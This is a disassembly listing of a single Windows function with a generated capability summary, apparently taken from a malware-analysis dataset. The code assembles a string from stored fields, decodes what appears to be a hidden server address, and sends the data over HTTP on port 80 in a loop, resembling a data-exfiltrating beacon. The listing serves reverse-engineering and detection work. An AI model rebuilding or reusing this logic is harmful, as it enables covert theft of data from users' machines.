Function at 0x4030d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 0x12
add esp, 0xfffff004
push eax
dec eax
jne 0x4030da
mov eax, dword [esp + 0x12000]
add esp, 0xfffff65c
lea esi, [esp + 8]
mov ebx, 0x408338
push 0x4037cc
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4037d0
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
mov eax, ebx
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037d8
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x20]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037dc
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x40]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037e0
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x60]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037e4
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x80]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037e8
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0xa0]
push eax
push esi
call sub.kernel32.dll_lstrcpyA_1
lea eax, [ebx + 0xc0]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0xe0]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x100]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x120]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x140]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
mov eax, esi
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037ec
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x1e0]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037f0
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x200]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037f4
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x220]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037f8
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x240]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4037fc
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x260]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403800
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x280]
push eax
push 0x403804
push esi
call sub.user32.dll_wvsprintfA_1
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403808
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x284]
push eax
push 0x403804
push esi
call sub.user32.dll_wvsprintfA_1
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x40380c
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x288]
push eax
push 0x403804
push esi
call sub.user32.dll_wvsprintfA_1
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403810
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x28c]
push eax
push 0x403804
push esi
call sub.user32.dll_wvsprintfA_1
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403814
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x290]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403818
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
lea eax, [ebx + 0x2b0]
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x40381c
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
mov eax, 0x40822c
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403820
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4037d4
mov edx, esi
mov eax, 0x40802c
call fcn.00402284
push esi
lea eax, [esp + 0x1080c]
push eax
call sub.kernel32.dll_lstrcatA_1
xor eax, eax
mov dword [esp], eax
lea eax, [esp + 0x808]
mov edx, 0x10000
call fcn.00403090
push 0xfffffffffffffffc
push 1
lea edx, [esp + 8]
mov eax, 0x407a14
mov ecx, 4
call fcn.00402cac
mov eax, dword [esp]
neg eax
sub eax, 4
sub eax, 4
push eax
push 1
lea edx, [esp + 0xc]
mov eax, 0x407a14
mov ecx, 4
call fcn.00402cac
mov eax, dword [esp]
neg eax
sub eax, 4
sub eax, 4
sub eax, 0x100
push eax
push 1
lea edx, [esp + 0x810]
mov eax, 0x407a14
mov ecx, pe_nt_image_headers32
call fcn.00402cac
mov eax, dword [esp + 4]
push eax
push 0xbb
lea edx, [esp + 0x810]
lea eax, [esp + 0x810]
mov ecx, pe_nt_image_headers32
call fcn.00402404
mov dword [esp], 1
lea ebx, [esp + 0x1008]
push esp
push 0x403824
push esi
call sub.user32.dll_wvsprintfA_1
push 0x800
push 0x407d20
mov ecx, ebx
mov edx, esi
mov eax, 0x40382c
call fcn.00402d58
mov edx, ebx
mov eax, ebx
mov ecx, 0xaa
call fcn.0040232c
inc dword [esp]
add ebx, 0x800
cmp dword [esp], 0x20
jne 0x4035a4
mov dword [esp], 1
lea ebx, [esp + 0x1008]
push ebx
call sub.kernel32.dll_lstrlenA_1
mov edi, eax
mov edx, 0x403834
mov eax, ebx
xor ecx, ecx
call fcn.00402114
mov ebp, eax
mov edx, 0x403838
mov eax, ebx
mov ecx, 2
call fcn.00402114
mov esi, eax
cmp edi, 9
jle 0x4037ab
cmp ebp, 5
jne 0x4037ab
cmp esi, 8
jle 0x4037ab
lea eax, [esp + 0x11008]
mov edx, 0x800
call fcn.00403090
lea eax, [esp + 0x11808]
mov edx, 0x800
call fcn.00403090
mov ecx, esi
sub ecx, 7
dec ecx
lea edx, [ebx + 7]
lea eax, [esp + 0x11008]
call fcn.00403088
mov ecx, edi
sub ecx, esi
inc ecx
lea edx, [ebx + esi - 1]
lea eax, [esp + 0x11808]
call fcn.00403088
push 0x40383c
lea eax, [esp + 0x1200c]
push eax
call sub.kernel32.dll_lstrcpyA_1
lea eax, [esp + 0x11808]
push eax
lea eax, [esp + 0x1200c]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 0x10808]
push eax
lea eax, [esp + 0x1200c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403844
lea eax, [esp + 0x1200c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403850
lea eax, [esp + 0x1200c]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 0x11008]
push eax
lea eax, [esp + 0x1200c]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403858
lea eax, [esp + 0x1200c]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 0x12808]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
lea eax, [esp + 0x12998]
mov edx, 0x10
call fcn.00403090
mov word [esp + 0x12998], 2
push 0x50
call sub.wsock32.dll_htons
mov word [esp + 0x1299a], ax
lea eax, [esp + 0x11008]
call fcn.00402ef8
mov dword [esp + 0x1299c], eax
push 0x10
lea eax, [esp + 0x1299c]
push eax
push esi
call sub.wsock32.dll_connect
push 0
lea eax, [esp + 0x1200c]
push eax
call sub.kernel32.dll_lstrlenA_1
push eax
lea eax, [esp + 0x12010]
push eax
push esi
call sub.wsock32.dll_send
push esi
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup
push 0x1f4
call sub.kernel32.dll_Sleep_1
inc dword [esp]
add ebx, 0x800
cmp dword [esp], 2
jne 0x4035f3
add esp, 0x129a8
pop ebp
pop edi
pop esi
pop ebx
ret